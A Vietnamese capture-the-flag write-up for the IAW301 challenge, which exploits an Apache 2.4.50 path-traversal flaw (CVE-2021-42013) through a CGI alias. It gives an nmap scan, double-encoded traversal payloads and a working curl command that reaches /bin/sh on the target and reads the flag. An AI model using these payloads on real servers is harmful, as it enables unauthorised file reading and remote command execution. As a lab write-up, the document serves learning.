IAW301
Đây là một challenge dễ, nhưng thật tiếc vì mình lú nên đã gõ sai một kí tự trong payload mà không biết :’( Xin úp mặt vào tường để tự kiểm điểm :’(
- Bắt đầu với challenge, ta được cung cấp 2 dữ liệu, file httpd.conf, và gợi ý về flag:

httpd.conflà file config của Apache Server, truy cập vào file theo đường dẫn, mình nhận thấy có một số thứ hay ho:
1
2
3
4
5
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options None
Require all granted
</Directory>
Trong thời gian gần đây, có 2 CVE nổi tiếng liên quan đến 2 phiên bản của Apache và
cgi-bincủa nó, đó là CVE-2021-41773 (Apache 2.4.49) và CVE-2021-42013 (Apache 2.4.50), đặc điểm chung là lỗi trong việc normalize path ở fileutil.ckhiến tin tặc có thể sử dụngpath traversalvới payload thường thấy là/cgi-bin/../../../etc.passwd, nhưng, vìutil.cđã check dấu.khi normalize path, nên chúng ta sẽ cần dùng tới những payload được encode như/.%2e/thay cho/../.Tất nhiên, giữa 2 CVE kể trên có sự khác nhau trong payload, vì vậy chúng ta cần check xem Apache đó thuộc phiên bản nào (nếu > 2.4.50 thì kiếp này coi như bỏ :’()
Mình thử check với câu lệnh
nmapđơn giản sau:nmap -A -p8889 139.180.208.121 -vvvVà có được kết quả:
1 2 3 4 5 6 7
PORT STATE SERVICE REASON VERSION 8889/tcp open http syn-ack Apache httpd 2.4.50 ((Unix)) | http-methods: | Supported Methods: HEAD GET POST OPTIONS TRACE |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.50 (Unix)Như vậy là Apache 2.4.50, ta có thể dùng
%%32%65%%32%65/hoặc.%%32%65/thay thế cho../Có một lưu ý là khi đọc
httpd.conf, hãy để ý đến dòngScriptAliasđể biết liệu có alias nào thay chocgi-binkhông, ví dụ như trong bài này:ScriptAlias /nothingspecial/ "/usr/local/apache2/cgi-bin/"Và để ý
DocumentRootnhư trong bài:DocumentRoot "/usr/local/apache2/htdocs"Như vậy để truy cập được
/thì ta cần 4 cặp../, thay thế alias và 2 cách encode đã kể trên, ta có payload:/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flagNhưng, như vậy liệu có đúng? Thử với
curlvà đây là kết quả:![IAW301_2]()
Thực tế có một cách khác, ta sẽ dùng đến
/bin/shvà option--datacủacurlđể mở file, đơn giản như sau:1
curl 'http://139.180.208.121:8889/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo; cat ../flag'
Và đây là kết quả:
![IAW301_3]()
Flag:
FUSEC{970c5c12bc41fd2783748e73fccf99b0}
Xin lỗi cả team noname vì mỡ đến miệng rồi mà để tuột mất vì một dấu % thừa :’(
